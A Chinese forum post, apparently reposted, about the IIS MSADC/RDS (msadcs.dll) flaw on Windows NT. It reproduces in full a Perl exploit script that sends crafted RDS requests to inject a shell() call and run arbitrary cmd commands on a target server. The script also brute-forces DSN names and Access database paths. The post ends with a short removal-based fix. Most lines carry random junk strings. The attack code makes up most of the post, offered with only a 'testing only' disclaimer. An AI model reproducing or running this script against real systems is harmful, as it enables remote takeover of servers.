社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167236阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) s%!`kWVJ.  
N~?{UOZd  
涉及程序: LFZ iPu  
Microsoft NT server GCttXAto  
=L5GhA~  
描述: `g_"GE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 2o9$4{}rG  
YqV8D&I  
详细: 4:sjH.u<  
如果你没有时间读详细内容的话,就删除: HeK h>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6SC,;p=  
有关的安全问题就没有了。 ZZj~GQL(S  
a2f^x@0k  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 N 6T{  
>F@qpjoQE  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ooj~&fu  
关于利用ODBC远程漏洞的描述,请参看: ?+t1ME|  
8LI-gp\ 2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {Rear 2  
`Rd m-[&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 CAU0)=M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0vGyI>  
97,rE$bC  
这里不再论述。 20TCG0% x  
Otz E:qe  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: -L3|&O_  
D-U<u@A4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7 JDN{!jT  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ]O` {dnP  
{&[9iIf  
gUR]{dq^'  
#将下面这段保存为txt文件,然后: "perl -x 文件名" LrCk*@  
QI!F6pGF  
#!perl r{sebE\ ;  
# E"|4Y(G  
# MSADC/RDS 'usage' (aka exploit) script GI7=x h  
# '>k{tPi.  
# by rain.forest.puppy |3{&@7  
# \@~UDP]7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 5 #]4YI;  
# beta test and find errors! K?4FT$9G  
e/8z+H^H  
use Socket; use Getopt::Std; Vi]c%*k  
getopts("e:vd:h:XR", \%args); 45@]:2j  
5y} v{Ijt  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; C*X G_b ]  
3p*-tBOO  
if (!defined $args{h} && !defined $args{R}) { gFPi7 o1  
print qq~ @cq`:_.[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } s-W[ .r|  
-h <host> = host you want to scan (ip or domain) 7dX/bzUVz8  
-d <seconds> = delay between calls, default 1 second rxO2js  
-X = dump Index Server path table, if available o+?r I p  
-v = verbose f&hwi:t  
-e = external dictionary file for step 5 +<.\5+  
-#29xRPk  
Or a -R will resume a command session w# * 1/N  
.A1\J@b  
~; exit;} e#/kNHl  
kz q29S  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; '(#g1H3  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} S:8OQI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} v8I{XU@%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); gLL\F1|0x  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} nPkZHIxuD  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -Z^4L  
CkRX>)=py  
if (!defined $args{R}){ $ret = &has_msadc; 1j\aH&)GH  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} _ jAo:K_Z  
=C f(B<u  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" E4D (,s  
. "cmd /c "; ~SjZk|  
$in=<STDIN>; chomp $in; nMoWOP'  
$command="cmd /c " . $in ; Ra3ukYG[  
!7U\J]  
if (defined $args{R}) {&load; exit;} ,}C8;/V  
}4nT.!5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; A%vsno!  
&try_btcustmr; AaN"7.Z/  
g6sjc,`  
print "\nStep 2: Trying to make our own DSN..."; bQa oMZB  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; S*)o)34 U  
q9dLHi<1  
print "\nStep 3: Trying known DSNs..."; p8,0lo  
&known_dsn; n+D#k 8{  
qUf)j\7"Fn  
print "\nStep 4: Trying known .mdbs..."; Z0fJ9 HW  
&known_mdb; L|^o7 1t|  
P` '$  
if (defined $args{e}){ OK`Z@X_,bW  
print "\nStep 5: Trying dictionary of DSN names..."; m]IysyFFK  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \,sg)^w@  
>sj bK%  
print "Sorry Charley...maybe next time?\n"; U&y`-@A4  
exit; ,vG<*|pn  
:+ ,st&(E  
############################################################################## nDlO5 pe"d  
IbWPlbH  
sub sendraw { # ripped and modded from whisker +#]|)V Z  
sleep($delay); # it's a DoS on the server! At least on mine... EX?h0Uy  
my ($pstr)=@_; IX?ZbtdX$`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *+8%kn`c  
die("Socket problems\n"); C$#W{2x%6  
if(connect(S,pack "SnA4x8",2,80,$target)){ djT. 1(  
select(S); $|=1; LW39YMw<  
print $pstr; my @in=<S>; =Mhg  
select(STDOUT); close(S); ggou*;'  
return @in; !%mi&ak(Rn  
} else { die("Can't connect...\n"); }} W>L@j(  
=p&sl;PsLw  
############################################################################## 4w{-'M.B  
Yb=6C3l@  
sub make_header { # make the HTTP request wk 02[  
my $msadc=<<EOT E '%lxr  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 * Zd_ HJi  
User-Agent: ACTIVEDATA CW:gEm+  
Host: $ip D&*LBQ/K  
Content-Length: $clen >;i\v7  
Connection: Keep-Alive Qg0vG]  
" OGdE_E  
ADCClientVersion:01.06 {rPk3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 d.pp3D 9/  
Q @2(aR  
--!ADM!ROX!YOUR!WORLD! :HW>9nD.  
Content-Type: application/x-varg wO"GtVd  
Content-Length: $reqlen i<u9:W  
y3yvZD  
EOT G[q9A$yw  
; $msadc=~s/\n/\r\n/g; { (\(m/!Z  
return $msadc;} PZ34*q  
7Qh_8M  
############################################################################## ?mOg@) wx  
<pOl[5v]  
sub make_req { # make the RDS request *fP(6e#G,  
my ($switch, $p1, $p2)=@_; >QI~`MiI  
my $req=""; my $t1, $t2, $query, $dsn; .v,bXU$@YG  
6s,2NeVWa  
if ($switch==1){ # this is the btcustmr.mdb query >%c*Xe  
$query="Select * from Customers where City=" . make_shell(); b|ZLX:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . G+yL;G/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} lA{(8sKN  
8X~h?^Vz  
elsif ($switch==2){ # this is general make table query / Dw@d,&[  
$query="create table AZZ (B int, C varchar(10))"; b%nkIPA  
$dsn="$p1";} 9bEM#Hj  
VD#!ztcY'  
elsif ($switch==3){ # this is general exploit table query bag&BHw  
$query="select * from AZZ where C=" . make_shell(); pGGV\zD^  
$dsn="$p1";} O3ZM:,.  
=hcPTU-QU  
elsif ($switch==4){ # attempt to hork file info from index server CT}' ")Bm  
$query="select path from scope()"; u)7 ]1e{  
$dsn="Provider=MSIDXS;";} baIbf@t/  
l7Lj[d<n  
elsif ($switch==5){ # bad query >h[(w  
$query="select"; sA\L7`2H  
$dsn="$p1";} gPUo25@pn*  
Ea4 * o  
$t1= make_unicode($query); |yAK@ Hl'  
$t2= make_unicode($dsn); 9- G b"hr  
$req = "\x02\x00\x03\x00"; aQmfrx  
$req.= "\x08\x00" . pack ("S1", length($t1)); u&SZ lkf6%  
$req.= "\x00\x00" . $t1 ; k2OM="Ei}  
$req.= "\x08\x00" . pack ("S1", length($t2)); y#bK,}  
$req.= "\x00\x00" . $t2 ; MOyT< $  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; kZK//YN#  
return $req;} [` 'd#pR  
]-KV0H  
############################################################################## @,YlmX}  
f N0bIE Y  
sub make_shell { # this makes the shell() statement H56 ^n<tg  
return "'|shell(\"$command\")|'";} %uEtQh[  
O3+)qb!X  
############################################################################## b8cVnP  
\c68n  
sub make_unicode { # quick little function to convert to unicode M,JA;a, _  
my ($in)=@_; my $out; !a4cjc(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } !u%9;>T7  
return $out;} Oc^m_U8>^  
6oA~J]<  
############################################################################## 1C'P)f28  
Wo2 v5-  
sub rdo_success { # checks for RDO return success (this is kludge) WQ.i$ID/  
my (@in) = @_; my $base=content_start(@in); 9ET/I$n  
if($in[$base]=~/multipart\/mixed/){ A: c]1  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ixzTJ]yu  
return 0;} ;ct)H* y  
QmHwn)Ly  
############################################################################## 7&px+155  
'f6PjI  
sub make_dsn { # this makes a DSN for us /B=l,:TnJ  
my @drives=("c","d","e","f"); (h|ch#  
print "\nMaking DSN: "; =Pj@g/25u  
foreach $drive (@drives) { s@ z{dmL  
print "$drive: "; Ym:{Mm=ud  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . KJ pj  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Y.9~Bo<<r  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); !Z-9tYO  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; u/#&0_ P  
return 0 if $2 eq "404"; # not found/doesn't exist Uf^RLdoDn  
if($2 eq "200") { 77^ "xsa  
foreach $line (@results) { ~BtKd*~*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} s~)L_ p  
} return 0;} f^u^-l  
`1$y(w]  
############################################################################## k%^<}s@  
~ z>BfL  
sub verify_exists { Wk,6) jS=}  
my ($page)=@_; i[8NO$tN1)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b^%?S8]h  
return $results[0];} %awVVt{aG  
[]r T? -  
############################################################################## }/4 9T  
?n&$m  
sub try_btcustmr { _l<| 1nH  
my @drives=("c","d","e","f"); QS5H >5M)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1GUqT 9)  
L!&$c&=xf  
foreach $dir (@dirs) { 2@4x"F]U;  
print "$dir -> "; # fun status so you can see progress -$OD}5ku#  
foreach $drive (@drives) { 6QW<RXom  
print "$drive: "; # ditto ,b:n1  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; {:3.27jQ  
$reqlenlen=length( "$reqlen" ); l3BD <PB2S  
$clen= 206 + $reqlenlen + $reqlen; 2DUr7r M  
[h^f%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \ U Ax(;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 6{ C Fe|XN  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [pr 9 $Jr  
&7fY_~)B  
############################################################################## T6,V  
"NJ ,0A  
sub odbc_error { 9ptZVv=O  
my (@in)=@_; my $base; )F +nSV;  
my $base = content_start(@in); fWd~-U0M^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this L)1C'8 ).  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D>ojW|@}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b#Jo Xa9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ew>~a8! Fq  
return $in[$base+4].$in[$base+5].$in[$base+6];} Uld_X\;Q4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \Oz,Qzr|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . m';#R9\Fz  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} EZ..^M3  
iwB8I^  
############################################################################## 0Y[*lM-  
~Vwk:+):  
sub verbose { #>@<n3rq  
my ($in)=@_; <Kh?Ad>N  
return if !$verbose; ?_8%h`z  
print STDOUT "\n$in\n";} T.J`S(oI  
pn|p(6  
############################################################################## 2ve lH;  
V;H d)v( j  
sub save { _k6x=V;9g  
my ($p1, $p2, $p3, $p4)=@_; DakLD~H;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2wGF-V  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; p "/(>8  
close OUT;} tF<^9stM  
#"hJpyW 4V  
############################################################################## 7[4_+Q:}  
LjSLg[i  
sub load { )\0Ug7]?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^WmGo]<B_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); \5t`p67Ve_  
@p=<IN>; close(IN); ESn6D@"  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); p(~Y" H  
$target= inet_aton($ip) || die("inet_aton problems"); D~5yj&&T;  
print "Resuming to $ip ..."; 4[2=L9MIo~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; mXQl;  
if($p[1]==1) { w'!ECm>*`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; &$<(D0  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *Kp}B}}J  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); KbXbT  
if (rdo_success(@results)){print "Success!\n";} -,FK{[h]ka  
else { print "failed\n"; verbose(odbc_error(@results));}} 6#-6Bh)>4  
elsif ($p[1]==3){ oSN8Xn*qr  
if(run_query("$p[3]")){ 8mk}nex  
print "Success!\n";} else { print "failed\n"; }} T"n>h  
elsif ($p[1]==4){ *~"zV`*Q  
if(run_query($drvst . "$p[3]")){ oG+K '(BB  
print "Success!\n"; } else { print "failed\n"; }} AGl|>f)  
exit;} zhuy ePn  
i/5y^  
############################################################################## g@<sU0B  
wEBtre7  
sub create_table { zt-'SY  
my ($in)=@_; "kcpA#uD|  
$reqlen=length( make_req(2,$in,"") ) - 28; 6e-#XCR{  
$reqlenlen=length( "$reqlen" ); $dlnmNP+  
$clen= 206 + $reqlenlen + $reqlen; jK\V|5k  
my @results=sendraw(make_header() . make_req(2,$in,"")); "}0)YRz%  
return 1 if rdo_success(@results); _Wm(/ +G_|  
my $temp= odbc_error(@results); verbose($temp); ]|Ow_z8 O  
return 1 if $temp=~/Table 'AZZ' already exists/; N8,EI^W8Z  
return 0;} X!,#'&p&  
8FB\0LA!g  
############################################################################## Sg/:n,68  
!S~,> ,yd  
sub known_dsn { =$^Wkau  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _7rqXkp%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &=v/VRan[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 8T8pAs0 p  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); A)hq0FPp  
4}.WhE|h  
foreach $dSn (@dsns) { u^}7Vs .  
print ".";  ]# Y|   
next if (!is_access("DSN=$dSn")); 0 $n8b/%.  
if(create_table("DSN=$dSn")){ QN)/,=#  
print "$dSn successful\n"; 8W19#?7>B  
if(run_query("DSN=$dSn")){ JVD@I{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q,<n,0)K  
print "Something's borked. Use verbose next time\n";}}} print "\n";} kb/|;!  
\?bwm&6+r  
############################################################################## [ED!J~lg8  
B.]qrS|  
sub is_access { -s9Y(>  
my ($in)=@_; 1 ;cv-W  
$reqlen=length( make_req(5,$in,"") ) - 28; =nJOaXR0  
$reqlenlen=length( "$reqlen" ); aeG#: Ln+{  
$clen= 206 + $reqlenlen + $reqlen; *Gg1h@&  
my @results=sendraw(make_header() . make_req(5,$in,"")); e*Uz# w:  
my $temp= odbc_error(@results); l84h%,  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); k)N2 +/  
return 0;} 6Y;Y}E  
S 23S.]r  
############################################################################## :'5G_4y)h  
=giM@MV  
sub run_query { Y&?|k'7  
my ($in)=@_; N,WI{*  
$reqlen=length( make_req(3,$in,"") ) - 28; D< nlb-  
$reqlenlen=length( "$reqlen" ); DZHrR:q?e  
$clen= 206 + $reqlenlen + $reqlen; t` }20=I+  
my @results=sendraw(make_header() . make_req(3,$in,"")); 9F2w.(m  
return 1 if rdo_success(@results); k)H[XpM  
my $temp= odbc_error(@results); verbose($temp); v+xgxQGYH  
return 0;} K!IF?iell  
hKk\Y{wv'  
############################################################################## *23m-  
1_Dn?G^H  
sub known_mdb { Ov $N"  
my @drives=("c","d","e","f","g"); B6tcKh9d,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S[W9G)KWp  
my $dir, $drive, $mdb; t 3(%UB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; o~i]W.SI(  
8gVxiFjo  
# this is sparse, because I don't know of many ^>,< *p  
my @sysmdbs=( "\\catroot\\icatalog.mdb", t x:rj6 -z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", jw:4fb  
"\\system32\\certmdb.mdb", h]J&A  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% #,f}lV,&  
D%c7JK  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", w?V[[$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", p/\$P=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", JLy)}8I  
"\\cfusion\\cfapps\\security\\realm_.mdb", w5dI k]T  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", v$gMLu=  
"\\cfusion\\database\\cfexamples.mdb", c8k6(#\  
"\\cfusion\\database\\cfsnippets.mdb", &+E'1h10  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", K#9(|2 J%  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", xG*lV|<7>  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~pd1 )  
"\\cfusion\\database\\smpolicy.mdb", bR>o!(M'Z\  
"\\cfusion\\database\cypress.mdb", *_4n2<W$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `nd#< w>  
"\\website\\cgi-win\\dbsample.mdb", p|bc=`TD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ^DW#  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /(hP7_]`2  
); #these are just b qg]DO$*  
foreach $drive (@drives) { /%J&/2Wz  
foreach $dir (@dirs){ < "L){$  
foreach $mdb (@sysmdbs) { ?)Czl4J  
print "."; ]YisZE4s  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ RE`J"&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f>\bUmk(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %!ER@&1f&  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; lRF_ k  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 48 c D3w  
H y.3ccZ0  
foreach $drive (@drives) { y(c|5CQ  
foreach $mdb (@mdbs) { $L<_uqSk  
print "."; I{?E/Sc  
if(create_table($drv . $drive . $dir . $mdb)){ 7"a`-]Ap  
print "\n" . $drive . $dir . $mdb . " successful\n"; APHtJoS  
if(run_query($drv . $drive . $dir . $mdb)){ +!L_E6pyXE  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g:.,}L  
} else { print "Something's borked. Use verbose next time\n"; }}}} *O(/UVuD\  
} o@<6TlZM  
c:h.J4mv  
############################################################################## Ac5o K  
O?j98H Sya  
sub hork_idx { CfkNy[}=  
print "\nAttempting to dump Index Server tables...\n"; =E{{/%u{{S  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9%3 r-U=  
$reqlen=length( make_req(4,"","") ) - 28; F$6])F  
$reqlenlen=length( "$reqlen" ); dPH! V6r  
$clen= 206 + $reqlenlen + $reqlen; u/!mN2{Rd  
my @results=sendraw2(make_header() . make_req(4,"","")); !\&7oAs=I  
if (rdo_success(@results)){ )MD*)O  
my $max=@results; my $c; my %d; }Ll3AR7\  
for($c=19; $c<$max; $c++){ <iXS0k  
$results[$c]=~s/\x00//g; hVT=j ?~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; DSDl[;3O{s  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; D<_,>{$gW  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }QWTPRn  
$d{"$1$2"}="";} RKo P6LGw  
foreach $c (keys %d){ print "$c\n"; } :{wsd$Qlj  
} else {print "Index server doesn't seem to be installed.\n"; }} 0XQ".:+h  
I9*BENkR  
############################################################################## s_ GK;;  
BuEQ^[Ex  
sub dsn_dict { @R'g@+{I  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9U}MXY0  
while(<IN>){ U2[3S\@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (jo(bbpj  
next if (!is_access("DSN=$dSn")); 86^ZYh  
if(create_table("DSN=$dSn")){ ]df9'\  
print "$dSn successful\n"; j?f,~Y<k  
if(run_query("DSN=$dSn")){ g6@NPQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /v bO/Mr  
print "Something's borked. Use verbose next time\n";}}} RXx?/\~yd;  
print "\n"; close(IN);} qa0JQ_?o]  
r_g\_y7ua  
############################################################################## ^7~SS2t!  
6wpND|cT  
sub sendraw2 { # ripped and modded from whisker S0Bl?XsD_  
sleep($delay); # it's a DoS on the server! At least on mine... _ntW}})K  
my ($pstr)=@_; I(?|Ox9"?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ziLr }/tg  
die("Socket problems\n"); bn*{*=(|  
if(connect(S,pack "SnA4x8",2,80,$target)){ px [1#*  
print "Connected. Getting data"; 5QL9 w3L  
open(OUT,">raw.out"); my @in; -aH?7HV}  
select(S); $|=1; print $pstr; XY+aunLf  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} G"U>fwFuK  
close(OUT); select(STDOUT); close(S); return @in; S,`Sq8H  
} else { die("Can't connect...\n"); }} q*RaX 4V  
ltr;pc*)  
############################################################################## F"m}mf  
3f:1D=f  
sub content_start { # this will take in the server headers y1\^v_.^  
my (@in)=@_; my $c; hBfzU\*0H  
for ($c=1;$c<500;$c++) { B GEJiLH  
if($in[$c] =~/^\x0d\x0a/){ c>U{,z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } G7_"^r%c9;  
else { return $c+1; }}} wWOT*R_  
return -1;} # it should never get here actually 2ucF( ^  
j3rv2W\  
############################################################################## -EkDG]my  
u6qi  
sub funky { g]iy-,e  
my (@in)=@_; my $error=odbc_error(@in); Y%CL@G60  
if($error=~/ADO could not find the specified provider/){ 5>1Y="B  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; /H;kYx  
exit;} P7>C4rmQ  
if($error=~/A Handler is required/){ .z-^Ga*  
print "\nServer has custom handler filters (they most likely are patched)\n"; @rK>yPhf  
exit;} C>\!'^u1  
if($error=~/specified Handler has denied Access/){ QnP?;  
print "\nServer has custom handler filters (they most likely are patched)\n"; ' ! UF&  
exit;}} >h!.Gj  
8v)~J}[Bz  
############################################################################## tls6rto  
1[gjb((  
sub has_msadc { P{i8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); <k-@R!K~JC  
my $base=content_start(@results); U70@}5!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); R8r[;u\iV  
return 0;} H`6Jq?\  
zIYr0k*%  
######################## VU+s7L0  
-{:Lx E  
FvI0 J  
解决方案: dVmAMQk.g  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <1g1hqK3  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .vOpU4  
}Mb'tGW  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八